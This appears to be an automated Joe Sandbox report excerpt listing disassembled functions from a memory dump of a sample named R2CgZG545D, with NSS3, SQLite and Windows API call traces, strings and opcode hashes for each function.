Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 9a790355dc130930b4cfe44059df97f388b3cb9ca693382d9fb977a507ef752d
Instruction ID: dc3187f174c1f95e3b8f090a12defd49044a64c430ccdc3bece237c900acc05d
Opcode Fuzzy Hash: 9a790355dc130930b4cfe44059df97f388b3cb9ca693382d9fb977a507ef752d
Instruction Fuzzy Hash: 69115971E042046BE7109B699C01BBF73A8DF9224DF004629EC5996A42FB20E95D82AE

Function 6C66F860 Relevance: 7.6, APIs: 5, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C66F893

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

SECITEM_CopyItem_Util.NSS3(00000000,?,6C6266A0), ref: 6C66F8AA

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C66F8B9

Part of subcall function 6C671200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C671228
Part of subcall function 6C671200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C671238
Part of subcall function 6C671200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67124B
Part of subcall function 6C671200: PR_CallOnce.NSS3(6C772AA4,6C6712D0,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67125D
Part of subcall function 6C671200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C67126F
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C671280
Part of subcall function 6C671200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C67128E
Part of subcall function 6C671200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C67129A
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6712A1

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C66F8D9
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7418E0), ref: 6C66F905

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Pool$Alloc_Arena_CriticalFreeItem_Sectionfree$CallClearCopyDecodeDeleteEnterInitLockOnceQuickUnlockValuecallocmemcpy
String ID:
API String ID: 3757084236-0
Opcode ID: c2c2f799e050e122e38551b55f28f49ecb12b3c03f41952ce922b12c963fa629
Instruction ID: da7033bb5dd93c8c5fb9c34ed45b2d78bb20494d0f637118d8c808b35c9d1733
Opcode Fuzzy Hash: c2c2f799e050e122e38551b55f28f49ecb12b3c03f41952ce922b12c963fa629
Instruction Fuzzy Hash: F4112772E003046BE3009B269D41BAB7AE8AF8678CF01466DFC5487B41FB31D50883EB

Function 6C628FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C630710), ref: 6C628FF1
PR_CallOnce.NSS3(6C772158,6C629150,00000000,?,?,?,6C629138,?,6C630710), ref: 6C629029
calloc.MOZGLUE(00000001,00000000,?,?,6C630710), ref: 6C62904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C630710), ref: 6C629066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C630710), ref: 6C629078

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 0416576a7d686acbe2620c25ec1360ebdba7fe73fe79690b6f1abad34e8eca20
Instruction ID: bb41758e5717cd14225baf52ab005f8a980834a25fb53d9aacb512412d7bba8f
Opcode Fuzzy Hash: 0416576a7d686acbe2620c25ec1360ebdba7fe73fe79690b6f1abad34e8eca20
Instruction Fuzzy Hash: 3C11E52170012957EB202669AC04AB6B2A8EBC27ADF540139FC84C6B80F75BCD45CBB9

Function 6C63CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C651E10: TlsGetValue.KERNEL32 ref: 6C651E36
Part of subcall function 6C651E10: EnterCriticalSection.KERNEL32(?,?,?,6C62B1EE,2404110F,?,?), ref: 6C651E4B
Part of subcall function 6C651E10: PR_Unlock.NSS3 ref: 6C651E76

free.MOZGLUE(?,6C63D079,00000000,00000001), ref: 6C63CDA5
PK11_FreeSymKey.NSS3(?,6C63D079,00000000,00000001), ref: 6C63CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C63D079,00000000,00000001), ref: 6C63CDCF
DeleteCriticalSection.KERNEL32(?,6C63D079,00000000,00000001), ref: 6C63CDE2
free.MOZGLUE(?), ref: 6C63CDE9

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: e80a0bfbb9f353582201809b3d9f4397c73dde79c4e10183fda57c15cd25c983
Instruction ID: b3503dfd396a5bf2f6563d12a22050af6d39d3a23ec92966f083f6266ce89a4c
Opcode Fuzzy Hash: e80a0bfbb9f353582201809b3d9f4397c73dde79c4e10183fda57c15cd25c983
Instruction Fuzzy Hash: 1D1151B2B01225BBDE01AA65EC45996776CBF053597145231F90E87E01D732E434C7E5

Function 6C6A2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6A5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6A2CEC

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6A2D02
PR_EnterMonitor.NSS3(?), ref: 6C6A2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6A2D42
PR_ExitMonitor.NSS3(?), ref: 6C6A2D5B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 896430cd4daeae396e3b5bba420e662d19466ab255e32b2f98d570aac88994b3
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: B101C8B59506006BE630AE66FC40BC7B7E1EF4631CF044525E85E86711D632FD16879A

Function 6C6A2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6A5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6A2D9C

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6A2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6A2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6A2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6A2E0B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 97d2e24b77476a25e62cd5186e59b894e4c3ed11227b357816f98f59d0770507
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 8001C8B59406006BE7309E66FC01BC7B7A1EF4631CF044435E85D86B11D632FD26C6AE

Function 6C63AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C623090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C63AE42), ref: 6C6230AA
Part of subcall function 6C623090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6230C7
Part of subcall function 6C623090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6230E5
Part of subcall function 6C623090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C623116
Part of subcall function 6C623090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C62312B
Part of subcall function 6C623090: PK11_DestroyObject.NSS3(?,?), ref: 6C623154
Part of subcall function 6C623090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C62317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6199FF,?,?,?,?,?,?,?,?,?,6C612D6B,?), ref: 6C63AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6199FF,?,?,?,?,?,?,?,?,?,6C612D6B,?), ref: 6C63AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C612D6B,?,?,00000000), ref: 6C63AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C612D6B,?,?,00000000), ref: 6C63AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C612D6B,?,?), ref: 6C63AEA3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 3e2ffdd8e0e11cc30651efa90be4e42d382a2d895615bd9f49e99546c6b26c9c
Instruction ID: 39435fc28982445f7c2feaf5c7634e8e4101667d92343f75f00d88caa3c38720
Opcode Fuzzy Hash: 3e2ffdd8e0e11cc30651efa90be4e42d382a2d895615bd9f49e99546c6b26c9c
Instruction Fuzzy Hash: 0901D666B0403057EB0151ECAC85ADB31588B8765CB083531E90DC7B83F616D90667AF

Function 6C72BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C727AFE,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72BDC3
free.MOZGLUE(?,?,6C727AFE,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C727AFE,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72BDE9
free.MOZGLUE(?,00000000,00000000,?,6C727AFE,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72BE21
free.MOZGLUE(00000000,00000000,?,6C727AFE,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72BE32

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: d034ce6cf952c2bc477c6c5482a2f38fa2f581bd2cfaa305892f703d2306d269
Instruction ID: 1eb3c74b3cb800913f845127013c18c8eee326b9ebf505a5ad80fe82d463645e
Opcode Fuzzy Hash: d034ce6cf952c2bc477c6c5482a2f38fa2f581bd2cfaa305892f703d2306d269
Instruction Fuzzy Hash: 74111DB1B01268CFDF42DF29C90DB523BB8FB4A344B240079E56A87300E331A818CBB1

Function 6C727C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C727C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C727C83
malloc.MOZGLUE(00000001), ref: 6C727C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C727C9F
PR_GetCurrentThread.NSS3 ref: 6C727CAD

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 6cb3b7d35c64a7f7e67207e57bbb295c1cadf220835a33c6c4974cc8e573c96a
Instruction ID: 31bae40e707deaa0995305b2c74c690c1f7096cc38e94496fcaeedd40546e2c1
Opcode Fuzzy Hash: 6cb3b7d35c64a7f7e67207e57bbb295c1cadf220835a33c6c4974cc8e573c96a
Instruction Fuzzy Hash: F4F0C2B19102066BEB009F3ADE09957775CEF01269B018435E809C3B00EB39E514CAE9

Function 6C72ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C72A6D8), ref: 6C72AE0D
free.MOZGLUE(?), ref: 6C72AE14
DeleteCriticalSection.KERNEL32(6C72A6D8), ref: 6C72AE36
free.MOZGLUE(?), ref: 6C72AE3D
free.MOZGLUE(00000000,00000000,?,?,6C72A6D8), ref: 6C72AE47

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 06ca2829ecad6cf307a98178b381f4230223d0798a08a512d43dcf7bbe779109
Instruction ID: b0c5c448ab69fc65d72efd017822a49dab6db7ccd54e9aacb852a02c1705eca4
Opcode Fuzzy Hash: 06ca2829ecad6cf307a98178b381f4230223d0798a08a512d43dcf7bbe779109
Instruction Fuzzy Hash: FEF0C2B5601B01A7CF009F699809927777CBF86776710033DE12A83940D735E412C7D1

Function 6C5ABCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C74AAF9,?), ref: 6C5ABE37

Strings

rl, xrefs: 6C5ABDD7
winFileSize, xrefs: 6C5ABF07
Prl, xrefs: 6C5ABED4

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: rl$Prl$winFileSize
API String ID: 4246442610-3078837256
Opcode ID: a5b04446ec73fcb9c0a9c6da8b7c133d134a9d0c1102dd6cf4660cffbae31a0b
Instruction ID: 017cd1650a47203f8b1f0cb4b22424b1b722738b28f2cef1f9fb6d01cd0ac2b1
Opcode Fuzzy Hash: a5b04446ec73fcb9c0a9c6da8b7c133d134a9d0c1102dd6cf4660cffbae31a0b
Instruction Fuzzy Hash: 9661AF31A0460DEFDB04DFAAC8807ADB7F1BF4A314B048AA5D4158BB40D730E856CBD1

Function 6C5B7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5B7D35

Strings

%s at line %d of [%.10s], xrefs: 6C5B7D2E
database corruption, xrefs: 6C5B7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B7D13, 6C5B7D1F, 6C5B7D47, 6C5B7D53, 6C5B7D5F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 4d39234651cb102eb36ecfba890ba08ff7ddeb7cef75d76aa0fcfe4b672b6620
Instruction ID: 3e6f65489af5e19588aa765a558d14721027b59d9147a3765f9f6e1e88123377
Opcode Fuzzy Hash: 4d39234651cb102eb36ecfba890ba08ff7ddeb7cef75d76aa0fcfe4b672b6620
Instruction Fuzzy Hash: 71314831E042299BC710CF9DCC919BDBBF2EF84389B59459AE444B7B81D670E951C7B0

Function 6C5A6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5A6D36

Strings

%s at line %d of [%.10s], xrefs: 6C5A6D2F
database corruption, xrefs: 6C5A6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5A6D20

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: d105ddda4909f73599c7ce8f16b0925b8e0b9874f505d72944fbde5d01f79e0b
Instruction ID: 02db027499483308bcc82d64f5186c256d5f7b9d2660033e45cc99154425964a
Opcode Fuzzy Hash: d105ddda4909f73599c7ce8f16b0925b8e0b9874f505d72944fbde5d01f79e0b
Instruction Fuzzy Hash: 6A21E030604705DBC710CE6ACC41B5EB7E6AF84348F14892CD84A9BF51EB71F94AC7A2

Function 6C682FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+hl,6C6832C2,<+hl,00000000,00000000,?), ref: 6C682FDA

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C68300B

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C68302A

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

Part of subcall function 6C65C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C65C45D
Part of subcall function 6C65C3D0: TlsGetValue.KERNEL32 ref: 6C65C494
